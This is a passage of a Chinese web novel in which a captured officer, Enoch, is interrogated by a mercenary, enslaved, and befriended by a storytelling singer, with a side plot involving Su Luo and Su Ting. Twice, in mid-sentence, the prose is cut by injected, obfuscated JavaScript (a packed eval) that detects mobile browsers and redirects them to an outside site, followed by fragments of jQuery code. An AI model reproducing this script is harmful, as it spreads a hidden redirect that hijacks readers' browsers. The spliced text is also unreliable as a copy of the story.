尼克啧啧两声,竟从口袋里掏出青绿色的果子,当着他的面啃起来。
“事实上,我不是来审问你的,你不是对我们说了吗?申请投降者保护。”
所以呢?
伊诺克眯起眼,根本不信这种鬼话。
“但是啊,昨晚我们出于好意,冒着很大的风险才决定将受伤的你带回来,让你逃过一劫。像您这样在首都长大的俊杰应该不知道吧,深夜的雪林是会吃人的。”
操着一副吓小孩的夸张口吻,尼克又弯腰拉近距离。
“风大气温低是一回事,我主要是担心,你会遇见传说中的人形怪物。”
刚说完怪物二字,他就从红发男人脏污的脸上读到深深的不解。
对于爱讲故事的人来说,这样的表情就是合格的捧场了。
于是,他打了个响指,挺身敞开双臂。
“啊!不惧严寒,不畏枪|炮,以人为食又会将其转化为同类,是以杀戮为名,让死亡也会因它颤栗的怪物,谁都害怕提起它的名字,却又无人不知无人不晓的——蒙迪戈!”
模仿歌剧旁白的唱腔念完一段,他只是让伊诺克表情里的迷惑更浓了。
一段寂静落下帷幕,他主动抽离状态,挠着鼻尖笑。
“唉,和那位游唱歌手比起来,我还差点火候啊,有机会的话您也去看一下他的表演。他三个月前刚被抓来,天天被我们老大叫去献唱,保你大开眼界。”
谈话一直在往意想不到的地方偏移,犹如不易察觉的撬棍顶开闭锁的心房。
因此,当尼克·哈里斯话锋一转,问起别的事时,伊诺克险些就要交代了。
“我听说,阁下是为了跟苏霆元帅的弟弟联姻才来的,还专程留下待了半个月以示诚心,不知现在结果如何啊?”
“呵……”
这时候先用冷笑回应,一是对话语本身的鄙夷,二是耿耿于怀的记仇。
恰好舌根的麻木褪去,伊诺克流利反问道。
“你不是逃兵吗,连一个隐蔽的安全屋,突然决定出行的运输车都能找到,怎么会不清楚那位双面小少爷到底有没有跟我睡过?”
不知是否是错觉,当他说完最后半句时,雪狐喜怒难辨的脸上忽然掠过一丝阴影。
但对方很快笑眯了眼,再度推进话题。
“哎呀,既然您同是受害者,那我们总算有的聊了……”
金发灿灿的尼克向后靠,上身包括脸都退回到厚重的黑暗里。
只有他讲述的声音传进手脚冰凉的俘虏耳中。
原来一年前,尼克·哈里斯是因为冒犯了‘苏洛’才被逐出军队。
对北军的归属感本就不强,再加上他受够了苛待和侮辱,于是直接投奔了更吃香的索拉兵团。
刚好,当时兵团的大首领虺蛇——巴斯德·格鲁正为二首领狮鹫的失踪烦恼,看中了他的旧身份和能说会道,顺势收下他。
以半年的奴隶生活和一场效忠仪式为敲门砖,他才顺利成为兵团的一员。
简述到这,尼克举起张开的右手。
这下伊诺克才发现,对方是没有右拇指的,直接从手掌截断。
“为了让我永远无法在大首领身后开枪,所以我自己砍掉了它,是不是很有意义的忠诚试炼?”
用一句话让俘虏眉头紧皱,尼克再度前倾。
他热切的笑脸又回到光里。
“我们呢,很早以前就被那群北军,尤其是那位小少爷耍得团团转了,你若是借机想出一口恶气,我们会帮你,相对应的,我也需要你提供一点小助力。可若你心地善良,没有这念头……”
留下一段令人头皮发麻的停顿,他食指点着鼻尖,重现轻快的魔鬼发言。
“我们老大最喜欢漂亮的
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14472248|150591||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
宝贝,你长得就很符合他的胃口,他肯定会愿意在我交涉失败之后,亲自再找你谈一谈的。”
一瞬间的畏愕闪过,伊诺克松开咬死的牙关。
“你问我也没用。”他竭力让自己的声音听起来平静可信,“我什么核心机密都没打探到,不然我为什么还要多留半个月。他们甚至在我落地的第一天就作秀给我看了……”
说着说着,他轮廓精致的嘴角泛起自嘲的笑意。
“你们与其绑了我威胁他们,还不如联络我父亲。”
尼克立即拍起手,对他哈哈大笑起来。
“那可不成,我们现在还不想越过北军和大元帅对上呢,以卵击石的后果是什么样的,我们清楚。”
像是为了宽慰他,这人又轻轻拍打他的脸颊。
“只要你肯愿意在这老老实实多呆一段时间,录几段求救音频,让我拿去给该听的人听,你在这里的主要任务就结束了。”
闻言伊诺克的脸色又白了一阵。
他对索拉兵团并非一无所知。
每年父亲收到的辖区报告里,永远是斯卡蒂的死伤数最多,包含了士兵和平民。
其中九成是死于兵团偷袭和侵|略。
这是他了解到的数字。
前四天他被迫跟喋喋不休的莫奇相处,获悉对方过去坎坷的经历,也和兵团脱不了干系。
这是他了解到的单一案例。
如今,终于轮到他亲身体验,他的想法竟与莫奇不谋而合。
与其被抓住受辱,还不如当初死在山谷或雪地里。
“别那么紧张嘛,少校,老大虽然喜欢你这种只有脸能看的货色,但我还是审美正常而且也怕死的,暂时不会在交易决裂前把你撕票或玩坏。”
正悲愤的伊诺克喉头一哽。
什么叫‘你这种只有脸能看的货色’和‘审美正常’,搞得他好像一个徒有其表的蠢货……
好吧,他的确如此。
像是要把肺里的氧气排净,他长长地吁出一口气,脑袋无力垂下,重重砸地。
这点疼如今反倒成了解药,刺痛他逐渐僵硬,仿佛不再属于自己的身体。
后来自己说了什么,做了什么,他印象极其模糊。
他只知道尼克·哈里斯给他注射了缓释剂。
他能自由行动了,但危险的毒素依然残留在他体内,让他的肌肉无法使劲,更遑论冒着残废的风险袭击看守。
总之,当他被推进一间满是人的新牢房时,他已被套上单薄的粗布衣,手腕也被磁力铁环铐住,是低等奴隶的象征。
牢中挤满了男女老少,他们都是相似的消瘦麻木,一张张灰白的脸在缺乏光源的空间犹如鬼面,了无生气地转向他。
时至此刻,他终于被一直甩在后面的绝望扑咬,闭眼重重坐倒。
要是母亲知道他沦落成杂兵也不如的奴隶,又会怎么想呢?
要是父亲知道他的愚蠢自大给家族之名蒙羞,洋相连出,又会怎么样呢?
要是……
要是斯卡蒂真正的怪物苏罗得知他被兵团抓捕,又会捧腹笑得多开心呢?
认真思考着这些,失去所有色彩的红发男人捂住了脸。
其实对他来说,斯卡蒂的存亡根本无关痛痒。
他大可在刚才交谈时就吐露一些似是而非,只由他目睹并据此推断的情报。
换言之,雪行车翻落山坡,莫奇将他甩出来时,他就可以逃跑了……
直觉往下想会很危险,他旋即打住,攥拳一下锤在地面。
他拳头软绵绵的,但仍能在凹凸不平的石板上擦破,顿时渗出鲜血。
这种痛的滋味,实在好极了。
一下,两下,三下。
怀着朦胧的死志,他誓要将拳面打烂才满意。
却不想,牢笼中站起个老太婆,上来就敲了他的脑袋一下。
体会自己所求的痛和别人制造的感受完全不同,伊诺克又惊又怒,瞪着那昏暗中看不清五官,仿佛只有皱纹的脸。
“这里不是你的单人病房,臭小鬼,小点声!我们每天都要工作,晚上是唯一的休息时间。你要是皮痒想挨揍,我一个老太婆不介意扒了你的裤子,给你屁股来几巴掌。”
老太婆嗓音沙哑且有些无力,教训起人来倒是彪悍。
也把某少校说满脸通红,支吾着应声。
“抱歉……”
“啊?声音大点,没吃饭吗?连我一个老骨头都比不过!”
“对、对不起!”
“太小声了,站起来!去给那些被你吵醒的人道歉,说两遍!要双倍!”
——刚才说要睡觉要人小声点的不是你吗!?
——现在就属你喊得最起劲!
虽然当下很想吼出这两句,可人在屋檐下不得不低头,稀里糊涂成了奴隶里的最底层,伊诺克硬着头皮撑起伤腿。
两次鞠躬,两次道歉,他刚一坐进角落就被揪起耳朵。
“过来给我瞅瞅!腿伤在哪?要是刀伤枪伤我可处理不了,你等着被送去截肢吧。”
千算万算没算到老太婆是要帮自己治疗,这一波三折的经历又撕开心间裂口,让他在涂抹草药时热泪狂涌。
“涂点小药就哭唧唧的!你还是不是alpha?”
老太婆又高声嫌弃,却渐渐地放轻力道。
后来见他实在停不下抽噎,仰头朝着另一边牢房喊。
“喂!那个会唱歌的小子,你醒着吗?!”
“醒着的话起来唱首歌,赶紧把这哭哭啼啼的软包子哄睡,我明天还要早起干活!”
正欲反驳软包子的羞耻绰号,抽噎的伊诺克就先被一种声音摄住神智。
“唔——”
无比做作的懒哼声。
令人联想到暖房里的烟雾,黄沙撩起的尘浪。
亦或是华服舞女旋起的流苏裙摆,壮硕劳工淌下的胸口汗珠。
声调的延长,起落,散播余韵,每一环皆是精心打造,这强烈的表演痕迹反而成了加分项,引人不自觉地沉沦倾听。
想听听看他的喉舌到底藏着多少奇淫巧技,如兜帽半敞的帘幕下又是怎样奇异的光景。
为此惊诧的伊诺克已止住流泪,扭头望向声音来源。
透过石栅栏纵横交错的线条,他发现对面牢房坐起一道人影。
身形藏在宽大黑斗篷里,黑暗中看不真切,但那人怀抱一把造型奇特的木琴,琴头镶着什么东西闪闪发亮。
他随意撩拨两下,整片牢狱便回荡着清泉嘤|咛的声音,瞬间抚平躁意与苦痛。
“那么,麦迪夫人,您这次又打算用什么故事充当演出费跟我交换呢?”
他又用着奇特的嗓音发问,也提到让伊诺克心中一震的名字。
而那老太婆爽朗地笑了两声回道。
“你不是想听我徒手杀掉一头普里泽兽的故事吗,今天就这个怎么样?”
拨琴声忽然停了。
片刻后,歌手在黑暗中发出旁人见怪不怪,却令新人伊诺克大跌眼镜,宛如乌鸦啼叫的一声——
“呀吼!好棒耶!”
33.元首的蓝宝石33
歌声在琴音中起舞,牵着灵魂直上云端。
与现代流行乐的唱法迥异,却又像是民谣童谣之类的变种,没有歌词只有吟咏,浪潮一般叫人捉摸不透。
也唯有这种声音才能敲开梦境的大门,带给人仅此一夜洗净尘世忧愁的安眠。
它给予的慰藉如此梦幻,以致翌日作为奴隶12397号醒来时,伊诺克·普莱德一度忘记自己原来的身份,忘记尾随在他身后的绝望恶兽。
不过吃早饭的时候,穷追不舍的恶兽再度逼近,在他身上投下一片浓重阴影。
阴影渗透现实,即是摆在他面前的早饭。
一块漆黑干巴只有拳头大的面包,一颗蛀着虫眼的青绿果子,还有用破旧水杯自己舀取的浓汤。
这便是每个奴隶分到的食物,所有人都挤在一间没有桌椅的石室里就餐。
杯中的说是浓汤,可实际上尝不出一点味道,只混着点奇怪的甜咸。
后来发现腥咸味其实是自己嘴里的血泡破了,伊诺克放下杯子,冰凉的手微微发抖。
他含着这一口血水混合物,不忍吐也不愿咽。
为转移恶心感,他抬头小心地环顾四周。
正前方,几名小孩正在争抢着一块稍大的面包,他们有着同种病态的干瘦身材,因为脏而根本看不出真实的肤色和五官。
推挤中食物掉在地面,被指缝藏垢的脚丫踩了数下,成功捡起的一名小胜者也毫不在意,匆匆塞进嘴里。
碎屑随着咀嚼掉落,其余失败者立马伸长舌头,凑上前去接。
看着这场默剧,红发新奴隶只感觉胃搅成了一团,不适感只增不减。
他再次承认了。
继承认自己是个蠢货后,他不得不再摔个大跟斗,同意南哨站并非地狱,那里的‘猪食’是人间美味。
就连曾经莫奇钟爱,却被他视如敝屣的奶味甜点也于此刻成功飞跃,变为他最奢望的珍馐。
回想起对方偷偷带给他的那一份,他不下十遍后悔,为什么当初没在雪行车上大口吃下,导致遇袭时弄丢浪费。
比较的杀伤力,超乎想象的巨大。
若说此前的经历是一场虚假的‘从天堂跌入地狱’,那如今就是乘坐跳楼机直达炼狱底层,跳进万年沸腾的汤锅里。
心中酸涩,呕吐欲|望随之上涌,盘腿坐的伊诺克拿开食物,用力捂住嘴巴。
非常突然的,他后背给人踹了一脚。
对方踢中的位置不疼,力道也不重,是奔着提醒他的意图去的。
“把它们全泡进汤里吃,当作营养药剂一口灌下去得了,你再走神几分钟,别人马上来抢,被抢了一次以后他们回回就盯着你,以后等快饿死了,有你哭的。”
听到比手中面包还硬的声音,伊诺克身子一僵,直接咽下嘴里的混合物,动静响得像打了个饱嗝。
“哎,这就对嘛,这就对。”
声音的主人再开口,接着走过他身边离开。
白天屋里有光,伊诺克趁机抬头,偷偷打量对方。
昨晚给他接骨疗伤,又跟歌手做交易请人哼唱的老妇,大概率也是莫奇口中说的麦迪婆婆。
她的矮小,干瘦,还有跛着脚的蹒跚走姿一一烙进眼底,如一枚迫击炮震荡着伊诺克的心湖。
因为,年迈的她竟是那样孱弱。
身躯似纸片,轻轻一折就留下不可复原的深伤痕,指尖一戳就能扎破损毁。
无法将老妇的外形与昨夜记住的彪悍印象匹配,加之自己还没缓过坠入炼狱的巨变,整个劳作的上午,伊诺克都在浑浑噩噩中度过。
同是劳作,这里的工头却不像哨站的队长好说话。
他们一个个手持钢鞭,将几伙奴隶沿着山壁驱赶,让人徒手搬运机器打穿的石块。
有谁的动作稍微慢一点,搬的次数少了,他们立即挥起鞭子,将人打得皮开肉绽。
毒素作用拖了后腿,掉过几次石头的新奴隶硬生生挨了三下。
哪怕身体素质足够强,不至于受重伤,那眼前炸开白光,让血液倒灌的剧痛也让他难以忍受,数次倒地爬不起来。
可在这没有人会理他。
其余奴隶们都低着头,弯着腰,仿佛除了怀里的黑色巨石,背上还始终驮着一块重物,压榨出他们所剩无几的气息与希望。
他们瑟缩在整个世界的最角落,无法被看见,无法向外或向回走。
他们的脑袋里会想什么呢。
被剥夺存在意义,乃至死亡权力的不甘吗?
被无限索取价值,乃至生命也将耗尽的惶恐吗?
为什么不奋起反抗和匪徒们拼了,为什么不干脆点自己一了百了?
这些,伊诺克·普莱德一概没有相应的答案。
坦诚的说,他根本是毫无头绪。
过去安坐头等舱,大口吞嚼各地美食,又用刀叉玩弄残羹的他,怎会知道压在轨道与底盘间被反复碾压的‘车轮’们在想什么?
不过,现在的他离车轮,也即答案越来越近了。
又一次踉跄前扑,他懊丧地闭起眼,只等鼻梁撞地的疼痛降临。
然而倾倒的速度在减缓,他的重心也于某一水平线顿停。
最后,等察觉到奇怪的触感,他睁眼自己起身站稳,迟疑地转头。
原来是身后有人拉了他一把,才让他免于摔倒。
这条甬道虽然宽敞,但沙石四散挤占左右空间,皆是千篇一律的青黑色。
帮助他的好心奴隶,给他的感觉就和脚边的矿石一样。
转眼就忘的平庸面孔、普通身材,唯一突出的是占据满脸的雀斑,相较之下连那个肉鼻头都算小菜。
“麻子。”他忽地出声,挂起标准的八齿微笑。
伊诺克:“什么?”
“他们都叫我麻子,你叫什么。”
“伊——”
真名已溜到嘴边,学乖了的伊诺克紧急刹车,换了口气别开眼道。
“编号12397号……属于A-2区牢房的。”
回答完他试图抽走自己的手臂,担心着不知会从哪落下的鞭子。
谁料这比他矮一个头的家伙顺势将他肩膀搭住,直接调转方向。
“七月十日,夜里十点零五分,你跟那边站岗的路易吉兄弟进到A-2区,期间你眼皮连眨的次数是九,同手同脚两次,然后你没发现路易吉弟弟朝你后脑勺上吐了一口唾沫。”
莫名其妙的信息涌入耳中,偏偏还全跟自己有关,伊诺克的判断力失守,竟还跟着摸了一把后脑勺。
“还有!”
麻子脸激昂高喊,普通的连词经他之口效力增幅,似飞镖一般定入耳中,震动鼓膜。
“你夜里睡觉左眼皮自己撑开的次数——五次,其中两次是因为有人,请原谅我必须为他保密,不小心在你脑袋边上放了个屁。昨天晚上吃的是磨豆粉,噢!相信他过得一定不好受,可怜的豆类不耐受某某。”
伊诺克脸色微变:“什么?”
“另外!今天早上你起来时因为实在不愿跟他们用一个尿桶,所以想着等会儿要去对着长廊外的望风口,一泻千里!”
“呃……并没有。”
“噢,你确定?”
“我真没有。”伊诺克声音冷了几分。
他身边的麻子脸拍了两下嘴唇,随后假装尴尬地吐舌道。
“真遗憾,我这里算错了。嘿!朋友!你是不是觉得我很烦人?”
“……”
伊诺克无言以对。
这回不是因为他蔑视对方的神经质才缄默,而是自第一个裂口在他世界出现后,他已然失去原有的处世法则。
即便如此,他还能观察着四周。
身旁就是一列奴隶队伍,与他们两人相向前行,而他发现,现场监工不仅没叱责阻拦他们,反倒视若无睹地放行。
偶尔有人凶恶地瞥来一眼,却马上像撞到什么不可直视的屏障,速度飞快地移走。
这种避让不同于害怕厌弃,忌惮里感到的更多是某种羞于启齿的成分。
将人们的微妙反应记在脑海,伊诺克又被身旁的声音拽走注意。
“所以,A-2牢房的编号12397,鉴于你暂时没告诉我你的名字,请原谅我冒犯的潦草称呼,你是因为什么进来的?”
这一瞬间,伊诺克想了很多。
也许这是兵团里的二探子,故意挑在这种时候接近他来套话。
也许对方是奴隶中的狗腿子,靠着告密欺压在暴戾的匪徒那分得好处……
“我先来正式地自我介绍一下吧,在下目前只是名游唱歌手,专门走南闯北取材,搜寻有趣的故事然后将他们改编,以合适的方式演绎。”
麻子说罢伸手,嘴又笑弯成好看的半月形。
“事实上,我还自己作曲作词编舞设计场景效果,同时是导演主演还有灯光师道具师外加念旁白,幸会幸会。”
这接话的时机太过巧妙,令伊诺克心中一惊。
通道已走至尽头,悬在顶上的照明灯微微晃动,将人的影子拆出倒向四面八方的分|身,有如花瓣绽开。
眼下似真亦幻的氛围与昨夜歌声带来的梦境不谋而合,伊诺克皱起眉。
他认出了这道似曾相识的声音,也想起雪狐提及的某个表演家。
但他依然拒绝握手,将信将疑轻声问道。
“你是昨天晚上弹琴的……”
麻子没接这茬,只眨着单边眼睛,同时用脚踢开一只木箱上的杂物。
礼貌地示意他坐下后,对方拍拍手强调道。
“你放心,我很注重保护原型人物的隐私,不该透露的东西,连死神的舌|吻也撬不开我的嘴。
何况从国王到乞丐,从丑陋畸胎到绝世美人,反正只要编成故事,给他们按上不一样的名字,置换不同的人生,谁又知道他们曾经的模样?”
国王到乞丐的字眼再一次刺痛心脏,红发男人垂眸,缓缓坐在箱子上。
到这里,他被苦涩填充的身心已经松懈了一半。
不止因为麻子脸表现出的友善随性,昨晚与老妇麦迪的接触,之前与野人莫奇相处的点点滴滴,它们透过逐渐扩张的裂缝渗入,落进他世界的地面。
等土中破开稚嫩小苗,他才知道那些颗粒是种子。
“为什么你想收集这些?”他抬头,用最后的防备提出一问,“如果要表演,讲那些历史上伟大的英雄人物,传说故事不应该更好吗?知道的人更多,也更容易赚钱啊。”
在首都的繁华娱乐区,多的是这样的街头艺人。
或为生计或为理想,其中后者还笼统地包含了‘吃不饱的理想’和‘想永远吃不饱的理想’。
“啧啧。”
麻子咂嘴摇摇食指,闭起一只眼的模样灵动十足,令人想起枝头歪头探脑的某种鸟类。
它们就是喜欢捡起各种闪闪发光的东西,宝贝地藏进巢中或秘密基地。
“我希望你知道,朋友,我很爱故事,每一个故事。在我这里首先谈的不是好坏轻重、有无意义之分,只有是不是故事本身这一条评判标准,其次才是多美。”
是不是‘故事’本身?
听着更古怪的发言,伊诺克收紧搭在膝头的手。
麻子脸不亏是让雪狐也自叹不如的表演家,他打打响指,忽地盘腿坐下,一个寻常举动给他做起来却能轻易抓取目光。
“让我们先来谈谈美吧。什么是美的?人长得好看是美,心灵美也是美,歌声悠扬是美,旋律工整也是美,山清水秀的自然之景美吗?好伙计!那简直美呆了!”
“但是——”
声调的骤然下沉抓住感官,使人只能跟着他竖起的食指,全神贯注。
“你不能靠这些说服一个又瞎又聋,断手断脚,每天都像躺在棺材盒子里的可怜东西,让他相信世界是多姿多彩,美人云集,值得久久留恋的,每一天都是值得期待,充满新意的,是等待拆封的私人定制礼。”
“因为他只能在那,又暗又小,他安全无虞的鼩鼱巢穴。再说了,我们尚且如此,他又该上哪找到这样的‘每天’?”
讲述者说着连连摇头,挂着沉痛的表情擦拭眼角。
他的神态,语调,每一个肢体动作都能让观众知道他是在作假,可却又无比贴合真实的情景,造成既能带人沉浸,又能完美停在迷失界线外的诡异平衡。
因此,哪怕他起立,毫无逻辑地接上一声感叹,如今的观众即伊诺克·普莱德也没感到出戏。
“所以,这就是故事的奥妙所在,噢!该死的美丽!”
振臂高呼一声,他抚着胸口浅浅弯腰。
那囚服的宽大下摆垂落,似长袍的一角悄然晃过怔愣的伊诺克眼前。
“故事是世界的影子,相比直视灼烧眼球的光源,窥探和描绘影子要更容易,也更能被活在匣子里的我们接受。对么?”
出乎意料的旁白注释,令观众的呼吸为之一窒。
即便如此,早已认定自己深陷囹圄,被绝望吞噬的红发男人还守着最后一扇心门。
“我……我没有你想要的故事。”他声音干涩地接话,“我就是因为自己的愚蠢被抓来了,仅此而已。”
“嘿、嘿、嘿!”
发出音调逐个上扬的语气词,麻子脸上前一步,左手按住他肩像是宽慰,右手握拳一抓,摆动着如同为他打气。
“愚蠢也是故事的必要成分,观众可以嘲笑,可以厌弃批判,但他们绝不能失去它,就像他们也不会希望第一个发明计数法和定义几何的数学家失踪,只丢给人们一把三角尺然后说‘等你们数清它有多少边时我就会回来,现在的我和斐波那契数列有一个长期蜜月’啊哈哈哈——你懂我的意思吗?”
很遗憾,伊诺克完全呆住,同对方大眼瞪小眼。
出于某种‘来都来了,别空手而归’的捧场型侥幸心理,他用迟滞的大脑囫囵加工一下,随后茫然地发言。
“还没发明计数法和几何概念,就数不了三角尺的边数……后面的黄金分割数也可能无法发现……”
这不就是荒唐的错乱吗?
“呼哈——”
麻子脸下唇一噘,突然吭哧地喷笑。
事到如今,看见此人缘由不明地发笑,右手覆上眼睛慢慢下滑的样子,伊诺克已不再奇怪了。
只是他现在才发现,对方原来有一对瓦蓝眼眸,明亮饱满的
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14617346|150591||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
色泽接近碧空,分外迷人。
“现在你也入门了,我亲爱的朋友,没错,这就是故事的真谛之一啊——不荒唐,无故事,有因果,必荒唐。”
以这样一句收尾,麻子脸甩袖坐下,姿态恢复如初。
他扬手示意着‘请’,另只手虚空做起拨琴弦的动作,似乎随时等着给今天的故事讲述者伴奏。
这一次,他开口只说了一句。
“请告诉我吧,朋友,你有什么样的故事……”
不再多动多话的青年静静注视,那目光聪慧而深邃,有着神像的静穆特质。
然而一旦开口,他嘲弄人的笑容便摧毁了所有美好假象。
“以后你就专门收拾我的玩具房,每天傍晚六点半,记得准时给我要看的节目录像,从片头曲到片尾曲的最后一秒你都要录进去,少一秒就罚你多干活一小时,海勒姆会帮你安排的。”
“什么——”
骤然出声又紧急刹住,谢玉海五官快皱成一团,压制着涌到胸口的烦躁和不满。
他被迫打了快一个月的杂工,每天跟兄长碰面的时间越来越少,最近甚至从早到晚都看不到谢云哲的人影。
若不是对方看着状态还行,不像是被欺负惨的样子,他也不会一再同意兄长兼首领的胡来决定。
更不会同意单独来见恶毒omega少爷,接受岗位调动的要求。
“怎么?你有意见?”
前次到过的休息室里,苏洛仍是一副高高在上的嘴脸。
他在小圆桌旁修理花束,锋利剪刀的握柄与束发头绳是同种红色,导致他每剪下一朵在谢玉海看来还算鲜活的粉花,都能联想他草菅人命的凶残画面。
旁边无人,身后是墙,小少年内心的火苗又蔫巴巴地瘪了下去。
就算他成天念叨要揍苏洛一顿,给自己还有云哲哥出气,但真到了这时候,他还是被青年眼神中不寻常的邪气压制。
但最主要他是正人君子。
若非被逼到忍无可忍,他才不会去欺负生理性别为omega还瘸腿的坏蛋!
“呃咳!我没有意见,十分感谢您,我会好好、不是,拿出一万倍精力去认真做的。”
谨遵兄长的教诲,谢玉海举手以自己的方式发誓。
黑心鬼侧目瞟了他一眼,放下剪子。
“一万倍就免了,你若是能拿出三分在家里诅咒我的毅力,我就要对你感恩戴德了。”
背地里说人坏话,现在被正主当面点明,无论对方是真发现还是做样子,脸皮尚薄的谢玉海都瞬间羞红全脸,低下头憋不出话。
慌乱中再偷偷一瞄,发现青年揉着整朵花抿嘴笑,眼神玩味也锐利,暗钩似得盯着自己,少年整个人更不好了。
按他来时预想的,苏洛会将他里外贬斥一通,用尽各种侮辱字眼。
虽说现在也没好到哪里去,可现实与最坏想象的落差难免让一直笃定的他犯难了。
就像他一直跟在穷凶极恶的通缉犯身后叫骂,回头才被告知自己认错了人,弄得自己尴尬晃神。
这样的结果是,他突然觉得苏洛看着顺眼了。
“还赖在这偷懒干什么,非要等我开着轮椅碾过你的榆木脑袋才会睡醒么?”
谢玉海:“……”
无言数秒,小少年愤愤咽下怒气,也收回先前的‘顺眼’说辞。
果然,黑心鬼苏洛就是歹毒惹人厌!
今时不同往日,现在的谢玉海已经学会忍下这口恶气,掩饰真正的情绪,只为达到自己目的。
奈何第一次面对最大的通关boss,他难免又舌头打卷。
“抱歉,我就想问一下您,我哥、云哲哥他去哪了?我很担心他,这里只有他是您的贴身侍者。”
言外之意,只有苏洛才知道谢云哲的下落。
“噢,我把他借给他的亲哥了。”
“原来如此,非常感谢您——嘎啊?!”
最后的最后,谢玉海还是通关失败,发出一声大鹅尖叫把苏罗逗得拍桌直笑。
听到谢云哲正与苏霆一起,谢玉海会震恐并无道理。
纵使没有溺爱假弟弟苏洛这一特点,他的个性也是数一数二的难相处。
倒不是说他有脾气臭,心眼小之类大众公认的坏毛病,把他和某小少爷放在一起比较,他甚至更得别人好评。
秉公办事,刚正不阿,从不为私情所动。他有着一名优秀领导人应具备的长处。
可越是如此,他在自己身边画出的一圈高墙就越牢固闭塞。
因此,在乘车同行的三小时里,他与谢云哲就没说过一句话。
要他处理的事务没有了,纠缠他的烦恼消失了,他像座由深色溶液冻结成的天然冰雕,棱角平直,无法透光,以一种隔绝万物的姿态矗立在银白大地上。
不似他逃进闭目养神的笨办法里,谢云哲在翻阅协议初稿的同时关注着他,一直试图踏入那层冰封圈内。
终于,青年找到好的切入点了。
“苏元帅。”他继续用着那尊称,也客气地问道,“今天三区里只有两区的管辖者会到场,就这样直接洽谈如此重要的决定,不会有影响吗?”
苏霆眼皮一动,再睁开后不出所料,无缝切进工作模式。
“谈妥交易并非今天的主要目标,无所谓谁缺席。”
在这停顿片刻,他又坐直几分说道。
“我们只需要保证,今天之后发生的一切他们到场的人看见并听到了。”
难得一回他也打起哑谜,含糊其辞的水准丝毫不输季宇飞。
谢云哲的表现也不遑多让。
换上飒爽军装,伪装成文员的青年侧首沉思,他手指按一种节奏轻叩文件,力度恰到好处不惹人厌。
差不多是两个深呼吸的时间,他眼睛放光,仿佛于暗中探明方向。
“我明白了,多谢您告知。”他照旧礼貌回应。
“嗯。”苏霆淡淡应声。
若是季宇飞在场,指不定又要打趣一番,笑两人的相处堪比为利益而协议结婚的伴侣,和谐的生活淡得像死水。
死水无波,但此刻苏霆的内心却生出一点波澜。
今天的出行人员里,原本没有谢云哲。
可临出发前,苏罗单独叫住他。
‘今天天气不错,最适合带上家人一起出去踏青’
只是为这句话,一个人的行程就变为两人。
由于心里某些难以言明的疙瘩,当时的他是想要婉拒的。
然而就像看穿他又一次的逃避家庭,逃避难解的亲缘关系,书桌后的青年郑重站起。
那人背着明媚阳光,用一种从未有过的,仿佛是在羡慕的平和语气劝说。
‘至少,你还能找得回他’
‘找到如今这世上,唯一有资格听你讲述你们的养育者,你们的家族,还有你自己的故事的人’
‘不像我……’
回忆里的话音趋于寂然,似一段优美而凄婉的乐曲收尾,但对方的沉默反而开启了另一段任人填充的想象。
想象声音的主人是否失去过什么,想要找回什么。
以及在遇见他们之前,身处一个怎样的故事。
34.元首的蓝宝石34
故事持续讲述了四天。
主角名为‘以诺’,是世界上富裕,最高贵的国王宠爱的小儿子,受到所有人的祝福出生。
可这名俊美的小王子却不学无术,骄奢淫逸,完全没有治理百姓的责任心。
他在旁人无尽的恭维和讨好下长到成年,只等着未来继承父母拥有的一切,掌管整个国度。
某一天,他被会说人话的黑狐狸骗到森林里,骗进伪装成人的魔鬼家中。
魔鬼用计谋夺走了王子的名字,扒下他的皮囊,将他丢弃在最危险的神秘沼泽深处,受尽折磨。
失去了名字,他就无法回应沼泽彼岸亲人的呼唤,找到正确的方向游回来。
没有了皮囊,就算爬上岸他也会像没有器皿的血水,瞬间洒满一地后蒸发。
这片沼泽漂浮着无数跟他一样的活死人,区别是他们被魔鬼饲养的巨蟒啃食得更久,被有毒的泥水侵害得更彻底,没日没夜地哀哭尖叫。
在无法逃离的绝望中,王子看见了天空的飞鸟。
只有它们不会受毒雾影响,来去自由。
于是,他开始模仿并学习它们讲话,企图让飞鸟告诉远在宫殿的国王王后,让他们来救自己。
可惜大雁要忙着迁徙,白鸽要给饲主送信,那群麻雀不懂他的苦楚,吵吵闹闹地询问一通便又去追赶风中的谷粒,将他的请求抛之脑后。
在一次次的失败后,早已丧失人形的王子发现了一双眼睛。
枯木横伸出扭曲的枝丫,长着骷髅脸的叶片交映,蓝眼珠的乌鸦就蹲坐在阴影中俯瞰着他。
它其实一直都在注视着。
从王子出生,长大,再到落入魔鬼的圈套,沉进污秽的泥潭……
“然后呢?它同意帮王子报信了吗?我觉得他一点都不值得回去。”
“王子有学会跟它讲话吗?”
“泥潭里的其他人怎么样了,他们也会死吗?”
“他们也是被魔鬼骗来的吗?”
刻意的停顿之后,专注的小听众们率先坐不住,纷纷举手。
尽管提问的内容各不相同,可每一张脸庞上的好奇色彩却都源自一个起点。
C-1区的监牢内,麻子脸扶正怀中的旧琴。
他右手往还在微微震动的六弦上一搭,未尽的余音与故事都戛然而止。
示意噤声后他闭上一只眼,噙着笑道。
“诸位的提问都很有意思,不过遗憾只有鼻子的夜晚实在太短,七条腿的时间跑得太快,这些答案只能由明晚的我来解答大家啦。”
哀嚎四起,发出声音的不止挤在他牢门外的一群干瘦小孩,还有分散在其余牢房里的大人们。
